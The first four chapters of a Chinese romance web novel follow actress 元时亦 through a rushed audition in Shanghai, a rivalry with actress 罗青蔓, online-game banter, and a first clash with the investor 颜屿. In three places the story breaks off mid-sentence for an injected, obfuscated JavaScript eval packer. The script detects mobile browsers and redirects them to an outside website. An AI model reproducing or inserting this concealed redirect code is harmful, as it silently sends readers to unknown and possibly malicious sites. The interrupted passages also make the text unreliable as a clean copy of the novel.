《试试就试试》 1. 电梯 三月已过,沪城的空气中仍泛着凉意。 尽管是一天中温度最高的午时,元时亦从飞机舱门踏进廊桥时,还是不自觉打了个冷颤。 跟在后方的小助理路芙赶忙上前:“时亦姐,要外套吗?” “嗯,”元时亦点头,“没想到都四月了,还这么冷。”清淡的声音从黑色口罩里传出来,声色很温柔,却没有什么辨识度。 两位女乘客紧随其后下了飞机,边走边小声道,“诶,前面那个女生身材好好哦,气质也是。” “对啊,”身边人回应,“看着像明星呢。” “也不知道是哪一位,遮得太严实了。” …… 时间紧迫,元时亦步履生风,带着路芙一路往出口赶。 乌黑如瀑的及腰长发被随意地披在身后,发丝飞舞间,元时亦压下帽檐,精致明亮的眉眼只现出一瞬就被藏进了阴影之中。 而落于其后的讨论声很快便被这阵风吹散了。 没有人认出来,这位身形姣好的女人正是如今风头正盛的流量小花——元时亦。 元时亦穿好外套,路芙的手机恰时响起。 “曦姐!”路芙声音激动,像是与世隔绝的人终于与外界取得了联系。 “对,我们刚下飞机。”然而从激动到抱怨,只经历了短短两句,“这次的拍摄太磨人了,广告商那边一直这不满意那不满意的,”说到这里,路芙降低音量,“我明明听见他们在那边小声说很好很好,结果硬是拖到了凌晨两点,害时亦姐后半夜才睡下……” 那边不知说了句什么,打断了路芙连串的打抱不平,还引得她不好意思地承认:“嘿嘿是,我在旁边眯了一小下下。” 路芙口中的曦姐名叫何曦,元时亦的经纪人。此时此刻她正在另一个城市帮元时亦接洽某款高奢代言,无法亲自赶到现场接机,只能远程指挥。 “好!我知道了。曦姐放心,我肯定会照顾好时亦姐的。”路芙信心满满回答完,将手机递给了身旁的漂亮女人,“时亦姐,曦姐有话跟你说。” “时亦。” 熟悉的声音从听筒里传出,元时亦闷闷嗯上一声,以作回应。 那边很快发觉她状态不佳,说话间带了些许安抚,“我让司机给你们带了午餐,一会儿你在车上吃完了再睡会儿,调整下精神。” “好。” 何曦继续:“没办法,这次试镜临时更改了时间跟地点,是有些突然,”何曦稍作停顿,将声音压低,“听说是有位大佬要亲自过来看。” 听到这句话,元时亦有一瞬间的不爽,“大佬莅临啊,那真是要感恩戴德了。” 如果不是这出临时起意,她后面的行程都会有序地进行,她可以有正常过渡的休假,可以有条不紊地安排工作,而不是像现在这样,三小时前还在酒店里睡得昏天黑地,三小时后就回到了千里之外的沪城——还是在昨晚拍摄超时,她睡眠严重不足的情况下。 说白了,上面一位大人物的心血来潮,下面所有人都要调整自己的日程,以迁就这位大佬的时间。 何曦无奈笑笑,“毕竟是金主爸爸嘛。” 挂断电话,路芙正好取回行李箱,两人一路奔走,终于在十二点前坐进了保姆车。 试镜下午两点开始,她还有两个小时的休息时间。 元时亦这次试镜的,是一部由知名导演执导的职场爱情剧,这部剧本身并不算大IP,难得的是那位导演。圈内出了名的调教之王——再烂的朽木,他都能给雕出花来。 元时亦自认为自己还不至于沦落到朽木的地步,但这样的机会摆在面前,她是一定要去争取一下的。 元时亦十五岁出道,至今刚好满十年。 初三那年,她跟着母亲参加某场酒会时,被一位制片人邀请客串一部大型古装正剧,出演少女时期的女主。然而这位身为公主的女主,命运凄惨,是一位完完全全的悲情角色,可元时亦的那双眼太过明亮了,明亮到根本无法让观众信服这位公主有着何等落魄的过去。 元时亦本人,是有着另一种人生的“公主”,也可以说,是符合普世定义的公主。 优越的家世,优异的成绩,以及一张即使在美女如云的娱乐圈也能排得上名号的脸。 尽管那时的网络环境包容许多,可足够多的质疑,终究会闯入她的视野。 于是,高二开学,她顶着班级第一的身份跟班主任说要学表演时,那位中年教师吓得当场就给正在开心享用下午茶的元夫人去了电话。 至此,元时亦一直顺风顺水的人生,开始有了挫折。 “时亦姐,午饭准备好了。”路芙把一盒盒菜肴打开摆好,并特意将元时亦最喜欢的清炒胡萝卜放至她手边。 说话间,她抬头朝元时亦看去,纵使她已经很熟悉这张脸,可每每看时,都还是会忍不住在心中赞叹出声,尤其是那双眼睛,墨黑色,清而透,像蕴了水的宝石,实在很难不让人印象深刻。 而这双被盯住的黑宝石轻轻闪动,倒映出不断变换的画面——是的,元时亦还有一个不为人知的秘密,她是个彻彻底底的“网瘾少女”。 在别的女明星靠美食、美容、购物排解压力时,她在打游戏;在别的女明星靠旅游、度假、极限运动丰富生活时,她还在打游戏。 “啊好,我把今天的日常做了就吃。”元时亦头也不抬,两只拇指在屏幕上熟练点击着,手速飞快。 单人PVP完美结束,元时亦吐出一口气,“还好最近没出肝活,不然我今天要猝死了。” 路芙在一旁低笑出声,连忙将手中的白瓷筷子递过去,“给。” 元时亦顺势接过,拿起那盒胡萝卜,开始惬意地享用起自己的午餐。 当然,如果一切都能这么惬意地进行下去就好了。 保姆车抵达大酒店时,离试镜时间还有十分钟,元时亦睡了个满足的午觉,以为一切都能卡得刚刚好。 “抱歉啊元老师,电梯刚刚出了点故障,我们正在进行紧急抢修。”接待员在一旁解释。 “那我们现在怎么上去呢?”路芙语气很焦急,试镜地点在二十九楼,就算现在从一楼爬上去也不一定来得及,更不要说保持一个良好的表演状态。 接待员侧身抬了抬手,“这边,我带你们去专用电梯。” “还好还好,”路芙抚了抚元时亦的胳膊,“来得及。” 元时亦嗯声,悬了一半的心沉下去。其实她刚才已经做好了一口气冲上去的准备,在试镜迟到还是逼自己一把中,她会毫不犹豫地选择后者。 电梯内。 元时亦拿出小镜子准备最后再检查一遍。她刚睡醒不久,眼神还有些模糊,好在眼里的红血丝和脸部的那点水肿都已消得差不多。 “诶小芙,”元时亦审视着镜中的自己,“你说我口红是不是有点淡了?” 剧方那边只提供了一部分剧本,不多,但核心内容都有,足够试镜。从提供的内容看,这剧对妆容的要求不低,更何况试镜中还会有临场发挥的内容,元时亦觉得需要再把妆面精进一下,以更加贴合角色。 不等路 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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门还未开,浓郁的桃花香就顺着门缝涌入,像一张捕人的网,妩媚、诱惑,后调藏着一丝甜腻,萦绕在元时亦鼻尖久而不去,一个没忍住,她打了个喷嚏。 这独特而有标志性的味道,即使只是短暂接触过,也足够她记住了。 是圈中合作过一次的女星,罗青蔓。 也同样,是来参加这次试镜的女演员。 何曦之前告诉过她,这块饼虽然不至于烫手,但导演名声在外,竞争依旧激烈。好在最终通过筛选的候选人并不多,只有三位,罗青蔓就是其中之一。 于这部剧而言,她们二人是实实在在的竞争对手。 门开,一位身穿桃粉色长袖裙的女人立于门口,她双手抱臂,眉头蹙起,鞋尖无规律地点着地板,无一处不在暴露等待间溢出的焦躁。 然而这焦躁刹那间便被取代了。 元时亦看到了那抹陡现于她眼中的惊艳—— 来自于对面前这位男人的无声赞赏。 元时亦思绪微滞,连罗青蔓都这么认可? “啊!”一声并不令人意外的惊呼打破了这短暂的沉默。细跟倾斜,它的主人不得不向前扑去。 元时亦身形未动,很识趣地移开了双眼,这种“不小心”的场面,她不仅看过,还演过。 却不想余光中,她瞥见这位气场不容忽视的男人很明显地往后退了一步。 元时亦:不是,哥们? 2. 试镜 元时亦来不及多想,长腿一迈跨过去,稳稳接住即将与地面来个亲密接触的娇媚女人。 “没事吧?” 四目相对,罗青蔓脸上是难以佯装的惊惶未定,元时亦看了个真切。 元时亦:姐妹,你这是真摔啊。 罗青蔓今年二十四,比元时亦小一岁,同样是当红的流量小花。 照理说,她们二人是圈内有着严重竞争关系的同代人,可非常巧合的是,罗青蔓偏爱古装,元时亦主攻现代。元时亦自出道那部古装剧后,再没有接触过古代本,而罗青蔓恰好相反,她在与元时亦合作的那部剧中出道,后续没再接过现代剧。二人就这样站在了两条完全平行的赛道上,毫无交集,自然也就不存在对家一说。 除了,唯一一个相同点:脸好看,演技“烂”。 好的千篇一律,坏的各有千秋,这两人拎出来就是典型。 罗青蔓在戏中常常表情夸张用力过猛,元时亦则大都是情绪太平缺少张力。 两个极端。 于是,某个精通剪辑的网友专门为她俩剪了一部“同人”。 左边是大雨滂沱,罗青蔓扯着嗓子哭喊,“皇上,不要!” 右边是元时亦往椅背一靠,“分手这种事只需要一个人同意。” 画面的最后,还贴心地附带上了一个好听的CP名:圆满——你的演技只要加一点罗青蔓,再加一点元时亦,就能中和得很圆满! 然而在一众的“磕到了”声中,并没有人知道,她们私底下连联系方式都没有。 罗青蔓下意识中抓住这根救命稻草,指尖一紧,陷入软和的浅色绒线里,一缕细线被“幸运”挑中,毫不费力地扯出长尾,耷拉在元时亦的胳膊上,显得有几分突兀。 “没、没事,谢谢啊。”罗青蔓靠过去,站到元时亦的身边,由于空间的限制,现在的站位是两男在前,三女并排在后。 “真不好意思呀时亦老师,”罗青蔓叫得热切,娇滴滴的音色回荡在轿厢内,听得人耳根发软,“刚刚是我太不小心了,没站稳……”说罢,她抬眼轻剜了一下前方那个很没有风度的男人,毕竟刚才那后撤的动作实在是太明显,在场的每一个人都尽收眼底。 男人明明背对着她们,却好像在身后装了双眼睛,一个轻微的侧头,惊得罗青蔓立刻止住眼神。 等她反应过来,才后知后觉懊恼,这人怎么可能看得见,她怕什么? 元时亦正好错过这一场面,她低着头扫了眼罗青蔓脚上的白色高跟鞋,这款鞋的鞋跟其实并不算高,但胜在细,直直的一根小棍垂直向下,形成一处微弱的支点。好看是好看,可也是真难穿,“这鞋是不好走,我也摔过。” 话音刚落,站在一旁的路芙扯了下她的衣角,食指轻点,示意她去看自己的手臂。 元时亦这才注意到,刚才的拉扯间,自己的针织衫被勾出一根线头。 是罗青蔓的美甲。 这次的试镜提供了女主的人物小传,一个性感潮流的都市丽人,美容美甲样样精通,罗青蔓戴着美甲来试镜,不奇怪。 唯一让元时亦意外的,是罗青蔓会来试现代戏。在何曦得到这个名字时,也一样感到诧异,除此外,何曦还给元时亦提了个醒,罗青蔓身后的背景不可说,如果她真的回到了现代市场,那么元时亦在圈内又会多一个敌人,还是劲敌。 不过元时亦没太放在心上,圈子里找“金主”这事不稀奇,没人不想红,能傍上大佬也是本事。只是小红靠捧,大红靠命,别人她是管不着,反正她自己从没想过要靠谁。 三人离得近,路芙那点小动作自是没有逃过罗青蔓的眼睛。 罗青蔓脸上闪过一丝尴尬,赶紧说:“抱歉,我也没想到这点碎钻会刮上去,衣服……”她观察着元时亦的表情,试探道,“我——” 元时亦将那抹线头拉紧,示意路芙按住,接着手指发力一把将它扯下。 全程目睹元时亦动作的罗青蔓嘴角抽了抽,慢慢把后面的话说完:“赔你一件?” 元时亦本想直接说不用,但这件针织外套她确实喜欢,羊毛混纺的,轻薄柔软,还很保暖,话到嘴边,就带了点遗憾,“过季款,现在应该买不到了。” 罗青蔓上下打量一眼,“D家的吗?那确实很难。”说着,她拿出手机,“多少钱?我转你吧。” 罗青蔓话刚说完,屏幕上方突然跳出来电显示,是她的助理。对话被打断,她只好先去接听,“喂,我已经上来了,别催了。”言语带着不耐,“不是还有几分钟吗,急什么?” 元时亦倒也没真想让她赔,只是可惜了这件衣服,因为她不会再穿了——扯断的线头留下一个不大不小的洞,挺碍眼的。 罗青蔓还想再说什么,二十九楼到了。 不愉快的小插曲就这样随之揭过,无人再提。 - 下午两点整,元时亦准时出现在试镜房间。 一张深色的方形木桌摆在中间靠后的位置,导演姜洺坐在桌后,正在检查机器,身旁的选角导演发现了前来的二人,凑到姜洺身边提醒。 姜洺身材偏瘦,不惑之年,精神气依旧很足。 元时亦见过他几次,只是一直没能有合作的机会,原因很简单,没有缘分。 姜洺常年走在突破自我的路上,上一部是警匪片,下一步就有可能是奇幻古偶,别的导演或许一直在尝试走出舒适圈,但他不同,他就没有过舒适圈,每一个新项目,都是一个新挑战。所以,这就导致了元时亦总是很难捕捉到他的脚步,不是没有档期,就是形象与角色完全不符,再或是她不太会考虑的古代戏,总之,这一次过选的机会难得,元时亦很珍惜。 “姜导好。” 姜洺抬头,对元时亦和罗青蔓颔首示意,“两位一起到了?”他站起身,“那现场准备一下吧。”声音不大,分量却很足。 随即,他换上一副和蔼的笑容,问道,“两位谁先?” 罗青蔓不解,“只有我们两个吗?” 姜洺:“对,另一位晚点来,排在最后。” 试镜虽定了统一时间,但毕竟不能同时进行,偶尔也允许后面的人迟到。 元时亦见罗青蔓没有先来的意思,便率先开口,“那我先吧。” “好。”姜洺正要坐下,助理小跑到他身边与他耳语了两句。 听罢,姜洺重新站直,转身对着身后比了个OK的手势。 元时亦这才看出这间房是与隔壁相连的,深色玻璃镶嵌在墙壁里,看起来不过是一块平平无奇的镜子,但她知道,这镜面单向透视,背后能看清这里的所有动作,就像能监视一切的镜头。 里面的人会是什么身份,不言而喻。 元时亦视线移至门外,正好看见电梯里站于后方的男人在往隔壁房间走。 而当时站于前方的男人—— 此刻正坐在单面镜的背后,与元时亦隔镜而视。 目光穿过镜面,落至元时亦如宝石般清透的双眼上。 他能看见她,她却看不到他。 元时亦眼神沉了沉,她猜得没错。 感受到元时亦的情绪变化,姜洺以为是元时亦不习惯有其他候选人在场,于是问:“需要小罗回避一下吗?”他又转向罗青蔓,扬了扬下巴示意,“对面有休息室,你可以去里面等会儿。” “不用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16290581|182669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,”元时亦淡然回绝,“我可以直接开始。” 她不是刚入圈的新人,不会因为任何人的围观而怯场。 再者,既然这位大佬要亲自视察,那她更应该好好表现。 元时亦正了正身子,迅速进入状态,按照姜洺随机挑选的几个片段依次表演,时间流逝,渐入佳境。 在演戏这件事上,元时亦是清楚自己并不算有天赋的。演员需要共情,需要感受角色的内心,理解人物的行为,可元时亦大多数时期很难做到这一点,她过去的人生太顺遂,读不懂角色的痛苦,自然无法准确表达她们的情绪。出道这些年,她尽量避开与自己反差较大的角色,倾向于求稳,她知道自己无法胜任某些人物,便不会去毁了别人的心血。只是这么久以来,一直待在舒适区,是不太会出错,但也很难有进一步突破。 因此,这次除了奔着姜洺的名头来,她还希望能找到演艺生涯中的转折点——她符合女主的外在形象,就是性格稍有不同。 几场戏演完,元时亦心中舒了口气。这类人设她虽然没有尝试过,但提前做了大量功课,在家精读剧本、练习台词,甚至再写一张人物小传,她准备得充分,也有足够的信心。对于刚才的表演,她无疑是满意的。 至于姜洺,元时亦望过去,等待他的点评。 姜洺眼中流露出的情绪很多,欣赏、赞同、惊喜,以及,一闪而过的遗憾。他没有给出评价,而是转过身,对身后的观察室说了句,“男主,来对个戏吧。” 对戏? 元时亦微愣,试戏中是会有临时加演,以考验演员的即兴能力,她不是没做对戏的准备,可里面的不是那位…… 然而从房间出来的人完全出乎元时亦的意料。 “程寺河?” “小时亦,好久不见呀。”一个青年男人笑着朝元时亦走过去,语气十分热络。他一身简装,头发未打理,显得有些凌乱,看清元时亦诧异的表情,热络变成不满,“怎么你看见是我好像很失望啊。” 元时亦快速恢复神态,“没有,我只是没想到会是你。” 她确实想不到出来的另有其人。 程寺河是元时亦出道那部剧的少年男主,也是元时亦在圈内的第一个朋友,年长她五岁,今年刚过三十。在这个人员流动巨大的圈子里,多的是合作过一次以后就再也没有共事机会的关系,元时亦和程寺河就是例子。 “我可是姜导钦点的男主。” 程寺河抱起手臂在元时亦面前站定,还想再说什么,元时亦就先一步打断了他的叙旧,“先对戏吧。” 照理说,她和程寺河虽然没再合作过,但好歹也是节假日会互送祝福的关系,不至于那么陌生。 可是元时亦也不知怎的,一缕心虚莫名涌上来,竟感到有些拘束。 她眼睛非常不自觉地往前方深色镜子瞟去,明明只是看到他们这边被照映出的景象,那股无端的紧张感却又反射回来。 或许是因为,她不知道接下来会对哪一场——剧中,男女主火花热烈,尺度非常。 “也是,时间宝贵。”程寺河在元时亦的催促声中低头,自然地牵过她的手,然后揽住她纤瘦的腰肢,与她贴近。 “等……”突如其来的动作惊得元时亦下意识后撤一步,却很快被程寺河追上。他悄声打趣,“怎么了?这是跳舞那场戏哦。” 一句好意的提醒。 可离得太近,引得元时亦头脑发躁。 这躁延伸而去,明明无法穿过单向通行的镜面,却凭空出现在另一侧房间,侵满每一处角落。 修长的手指轻轻敲击桌面,骨节错开,一下一下,没有规律,又不肯停歇。 3. 选角 元时亦试戏结束,没有直接离场,而是去了休息室等候。 剧方那边有提,等她们三人全部表演完会有个大概结果,不用回家等消息。 “姐,是不是累了?”路芙站到元时亦身后,帮她捏了下肩。 化妆镜上的LED灯开得很亮,白光打来,落在女人脸上,将每一处细节都无限放大。如白瓷般的肌肤光洁无暇,薄薄一层紧贴着骨,光线扫过,带起一点细小绒毛。 这是一张天生为荧幕而生的脸。 元时亦眼皮垂下,遮住了透光的眼,“没有,可能是没睡够吧。” 程寺河入戏得突然,她差点没能招架住,好在那句及时的提醒扯住了她的思绪,将她拉回正轨。 而这也是元时亦最没底的地方。 何曦把这部剧推到元时亦面前时,并没想过她会真的考虑。 “姜洺最近是有一个新项目,但对你来说可能有点难。” 元时亦原以为是何曦对她没信心,直到翻开剧本,她才明白何曦所说的“难”是什么意思。 大尺度,激情戏。 肢体的交融,灵魂的碰撞。 篇幅不多,但对元时亦来说已足够超标了。 入圈十年,这是她唯一不想涉足的领域。 她并不排斥裸露□□的艺术献身,可勾人这种事她确实不算擅长。身体动作或许可以学,眼神却不是一教就能会的。 元时亦睁开眼睛,不太死心地给镜子抛去一个“媚眼”。 站在身后的路芙立马俯身凑近,声音带着惊恐:“姐,你眼皮好像抽筋了!” 元时亦:“……” 算了。 “今天周几?”元时亦岔开话题。 “周天啦。” 听清回答,元时亦不自觉直起身子,“居然过得这么快?” 这一整周,元时亦都在繁忙的工作中度过,行程排得满当,连飞了三个城市,睡觉时间都要挤着来,更不要想抽空去肝游戏。 没工夫再想其他,元时亦拿出手机,打算趁这个空档清理一下单人周常任务。 她玩的是时下大热的一款开放世界手游,背景偏东方奇幻,名叫《诸灵》。游戏才刚上线半年,就已是霸榜的常客,流水居高不下,热度只增不减。 不过《诸灵》并非原创游戏,它是根据现象级小说《诸灵》而打造出的一个近乎一比一还原的奇想世界。当年还是一家中型公司的合一游戏成功谈下《诸灵》版权时,微博上就有不少书粉为此吵得热火朝天,生怕他们浪费了这块好饼。好在最终上线的产品不负众望,受到一致好评。 元时亦不是原著粉,作为玩家,她只在乎游戏好不好玩。 结论很明显,好玩,非常好玩。 游戏上线那会儿正好赶上她休假期,在家不分昼夜地泡在游戏里一个月,最后是何曦实在看不下去把她从窝里捞出来,一连给她塞上好几个通告,才让她把生物钟调回正常。 而她这么沉迷除了游戏质量确实不错以外,还因为游戏里有几个志同道合的“狐朋狗友”。 【亦有时:我终于有空做周常了[大哭]】 【二月加一:天啊亦亦,你终于出现了[抱头痛哭]】 元时亦这周日均在线时长不超过半小时,还都是搜刮的碎片时间,能把每天的日常做完就很不容易。 【钻家:普天同庆[礼花][礼花][礼花]】 元时亦看了一眼好友列表,她的亲友们都在线。 【肝一辈子:那现在怎么说,准备周本?】 【亦有时:啊现在不行,我还在忙,周本还是等晚上吧】 【钻家:好嘟】 【二月加一:okk】 【肝一辈子:好嘞】 亲友队一共五人,剩下一个没冒泡的,是她游戏中的情缘,与山言。 元时亦简单清完任务,给这位搭子去了个小窗。 【亦有时:与老板,情缘任务[可爱]】 《诸灵》虽然不是强社交游戏,但也设置了亲友、情缘、师徒等社交系统供玩家选择。原本元时亦对情缘这种东西是没有兴趣的,直到那天打本她看见了周三月跟甘霖的情缘技能。 元时亦:“诶不是,你怎么能复活啊?钻家技能不是在cd吗?” 钻家是团队奶爸,加盾奶人救死扶伤的一把好手。 周三月:“情缘技能哦,怎么样?” 元时亦流下羡慕的泪水:“还能这样玩啊?!” 甘霖:“嗯,被动技能,亲密度三级解锁,cd半小时。一二级也有技能,具体你可以看情缘系统,有介绍。” 周三月在队频语音里笑出声:“她进不了情缘系统,看不到介绍。” 元时亦:“……”可恶的狗情侣。 周三月安利道:“你也可以找个呀。不过咱们最好是内部消化,这样打本容错率就高了。” 而亲友里只剩下【钻家】和【与山言】两人。钻家回得很快:“我不行也,我有情缘,嘿嘿。” 周三月:“那与老板呢?考虑下吗?” 元时亦本想说不了不了不敢高攀,就听到基本不开麦的与山言开口:“好。”很简单的一个字,听不出情绪。 于是,小队里第二对情缘连线成功。 【与山言:暂时没空。】 与山言回复得很快,言辞间却透出股冷漠意味,与平日有些不同。 元时亦被这短短四个字定住,一时间没反应过来,大概是因为与山言以前没有跟她说过没空、有事、不行这类拒绝的话。她比对之前的聊天记录,还发现与山言罕见地带了一个句号。 元时亦脑袋里莫名闪过一个念头:心情不好? 聊天框里刚打下“好的”两个字,与山言的消息又传过来。 【与山言:等晚上一起做吧】 这回正常了。 元时亦将“的”字去掉,加上表情。 【亦有时:好[开心]】 元时亦回复完,两道敲门声响起。 “叩、叩。” “抱歉,我来晚了。”一位面容清丽的短发女人出现在休息室门口,她稍推开门,询问,“可以进来吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16290582|182669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 是今天试镜的第三位候选人,沈雪。 “可以。”元时亦说完,路芙小跑过去将门打开,“沈老师好。” 元时亦看一眼时间,罗青蔓这会儿应该要结束了,正好可以接上。 “你们好。”沈雪额头上布着薄汗,脸颊微红,一时风尘仆仆,“真不好意思,我飞机晚点了。” 元时亦和沈雪没怎么接触过,不熟,只能算是点头之交。 但同为行程更改的“受害者”,元时亦很理解沈雪现在的状态,大概是跟她一样,临时改签了机票,急匆匆赶过来的。 元时亦给沈雪递过去一杯温水,“辛苦。” “谢谢。” 元时亦正要拿起手机继续游戏,被关上的门再一次被打开,这次力道稍大,将门敞得彻底。 “程寺河搞什么啊,亲密戏放不开还怎么演?”罗青蔓娇蛮的声音响起,带着埋怨。 而作为更放不开的一方,元时亦:…… 罗青蔓走进休息室,身后跟着她的助理。发现沈雪已经到了,罗青蔓赶紧换下表情改口道,“啊抱歉,我不知道你来了,剧透了一下。” “没关系。”沈雪笑得温柔,似乎并不在意这点小事。她起身走过去,“那我去试戏了。” 房间重回寂静,元时亦的注意力也回到游戏界面。只是这房间不大,还因为气温低关了窗保暖,等元时亦把能做的任务都做完,才意识到自己在这片“桃花林”里待了多久,她稍稍吸上一口气,差点又呛出声。 “小芙,我去看一下试戏。”元时亦随便找个借口离开,再这么待下去,她鼻子指定完蛋。 没想到沈雪的表演结束得很快,等元时亦去完卫生间返回时,试镜房间里的工作人员已经在做收尾工作。 “已经试完了吗?” “是的,元老师。” 元时亦退出房间,鬼使神差地,没有直接回去休息,而是折向了观察室。 观察室的门虚掩着,留下一条不宽不窄的缝。 “看沈…这条”、“可是我觉得罗…”、“元时亦这里更好”一些零碎的声音从门缝传出,元时亦屏住呼吸,悄悄挪了过去。 讨论声渐涨,也愈发清晰。 就在元时亦想从这些碎语中提取出有效信息时,一道低冷的声音响起,仿若一颗扔进声海的石子,不轻、不重,不容忽视,“既然这么难选,那就用排除法吧。” 一锤定音。 观察室内瞬间安静下来,元时亦动作顿住,将将停在门边。 顺着门缝,她看到了坐于主位的男人,随意交叠着双手,轻靠在工作椅上,翘着腿,露出锃亮的皮鞋。 是电梯里的那个男人。 不同于她想象中有着完美五官的惊艳,而是难得一见的沉稳气质,温沉、又带着隽雅,与这个浮躁的圈子格格不入。 “首先排除的,应该是——” 深如静海的双眼微移,颜屿也看到了她。 视线交汇于凝滞的缝隙,一场冰霜降临,元时亦听到他说出三个字。 “元时亦。” 4. 误会 元时亦对颜屿的第一印象属实不算好。 肆意妄为的资本家。 电梯里不绅士的后退。 以及,直截了当的否定,还是当着她的面。 对于最后这一条,元时亦无疑是有些愤怒的,他分明看见她了,却仍旧这么直白地、毫不客气地念出了她的名字。 元时亦不认为自己的表现有那么差,主观来说,她对于单人的部分足够自信,如果一定要最先将她排除掉,那大概率是亲密戏拖了后腿。 这样思索一番后,元时亦心情平复许多,那股对视时涌上的烈火被潮水浇灭,留下满地余烬——男人眼中的轻视过于明显,故意为之、不加掩饰,甚至还有一丝上位者对下位者的嘲弄。 元时亦非常不爽。 就不能表现得委婉一点? 元时亦眼神暗下,给这人画上一个大写的红叉,没有停留太久,她转身离去。 这处平静的空气被搅得纠乱,沿着窄缝涌入。 颜屿肩膀渐沉,整个身体靠向椅背。 他刚刚是不是稍微有点过了? 但若是这样做能在她心里留下印象,那他这一趟,也不算无功而返。 - 元时亦回到休息室里,拿起放在化妆桌上的小包,对路芙道:“小芙,走吧。” 路芙起身眨了眨眼,“啊,我们不等了吗?” 元时亦将包背好,“嗯,我已经知道了。” 几人分散坐着,休息室不大,任何举动都能被周围人轻易察觉。 罗青蔓听见元时亦的回答,好奇心一下被勾起,正要开口打听,忽然一阵敲门声传来。 程寺河的声音在门外响起,“各位老师好,是我,程寺河。” 程寺河出现得巧,众人短暂对望片刻,看来选角真的有了结果。 无人异议,程寺河推门进入,手上提着几袋点心跟奶茶。 程寺河面带歉意:“我来给各位老师赔个罪,最近行程排得紧,只有今天有空过来对戏,姜导才临时改了时间。”他将包装袋里的东西一一拿出,递过去,“我知道肯定打乱你们的行程了,所以给所有人都准备了下午茶作为赔礼,真的很抱歉。” 原来不是通知结果,而是送赔礼。 等等,元时亦心绪顿住,姜洺改试镜日期是因为程寺河? 不是那个什么所谓的大佬? 元时亦抬起的脚复又落下。 这么说,并不存在她所以为的身份特权,和一时兴起。 而是真的事出有因。 是她误会了。 元时亦面色稍霁,不过画好的叉她是不会去掉的,最多拭去其中之一,留下一道斜杠。 程寺河言辞诚恳,边说边补充:“食材都是严格控制了热量的,大家放心吃。” 路芙从他手里接过两份,道完谢回到元时亦身边。 程寺河这才注意到元时亦刚才是打算离开了。 他正想问上一句,一旁的罗青蔓率先开口,“严格控制就不是甜食,不会长胖了吗?”她将面前的小盒子推回给助理,并不领情,“再说了,这奶茶谁敢喝呀,万一进了组,还得想办法减肥。” 说完,罗青蔓又蔑了他一眼,“赔礼没诚意就算了,跟我对戏还不在状态。” 一连串的数落结束,程寺河脸上闪过一抹尴尬,她说的种种他属实不好辩驳,尤其是他还在元时亦面前“炫耀”过自己是被姜洺认可的男主,结果在罗青蔓面前翻了船,不仅丢自己脸,还砸姜洺的招牌。 “抱歉抱歉,是我没表现好,影响罗老师发挥了。” 一时间,房间内冷下几度,场面不怎么好看。 这个圈子里,关系再差的两人,一旦有了合作上了镜头,任何深仇大恨恩怨纠葛都得暂时放下,该亲密时就得亲密,哪怕上一秒是火星撞地球的爆炸,下一秒也必须你侬我侬般如胶似漆。所以,没有人会想多一个敌人,为将来埋下巨雷。 元时亦不想气氛闹得太僵,正要开口圆场,坐在远处的沈雪打开盒子拿起短叉,先一步出声,“是有些突然,我只买到一张机票,助理还留在云城呢。”她尝上一口点心,叹道:“赶了一路,还真是有点饿了。” 程寺河立刻会意,“那边还有,我去给沈老师再拿点,要换口味吗?还是就这一种?” “唔……这个味道挺不错的,”沈雪抿唇,“算了,我跟你一起去看看其他的吧。” 冰冷的湖面就这样被轻而易举地化开,元时亦心中绷起的弦松下去,程寺河怎么说都算她圈内关系不错的朋友,她不会“见死不救”。 只是现在有人先出了手,那她就没必要再掺和太多。 “我们也走吧。”元时亦示意路芙将点心跟奶茶装好带走,路过罗青蔓时,她不动声色地瞟了她一眼。 何曦是说过罗青蔓背后的金主位高权重,元时亦不会惹事但也不会怕事。先前的接触,她只当罗青蔓是一路顺风顺水过来,性子娇纵跋扈了点,可如今看她口无遮拦不知客气,难免厌烦,再加上她现在心情不好,罗青蔓也算是撞在枪口上。 低气压扫过,罗青蔓心脏一突,这具象化的威压感让她猛然想起电梯里的那个男人,同样的反感气息,冷酷、慑人,不留情面。 罗青蔓细眉皱起,搞什么啊,一个两个的,她有哪里说错吗? 元时亦走过,留下罗青蔓不满的声音:“你真不等了?” “我还有事。”元时亦语气冷淡,“祝你等到想要的结果。” 等出了门口,路芙才小声问:“姐,今天应该没其他行程了,一会还有什么安排吗?” 元时亦面色凝重,十分认真:“肝游戏。” “噗。”路芙一个没憋住,笑了出来。若是其他人,路芙还会震惊一下,但这是她的时亦姐,那就毫不意外了。 只能说,这很元时亦。 元时亦倒也不是真的要直接离开,最起码,她得去跟姜洺打声招呼。再者,她还是很想知道,出局的原因是否跟她想的一样。 没有走向出口,元时亦转去对面的房间。 “小芙,你在外面等我一下。” “好。” 元时亦敲门进去,观察室内人不多,只有四个,两位副导站在姜洺身旁,一起对着屏幕讨论。 剩下的那位,就是被元时亦所误会的“大佬”。 他正低着头,把玩横放的手机,眼睫垂下,神情专注,似是并未注意到有人进来。 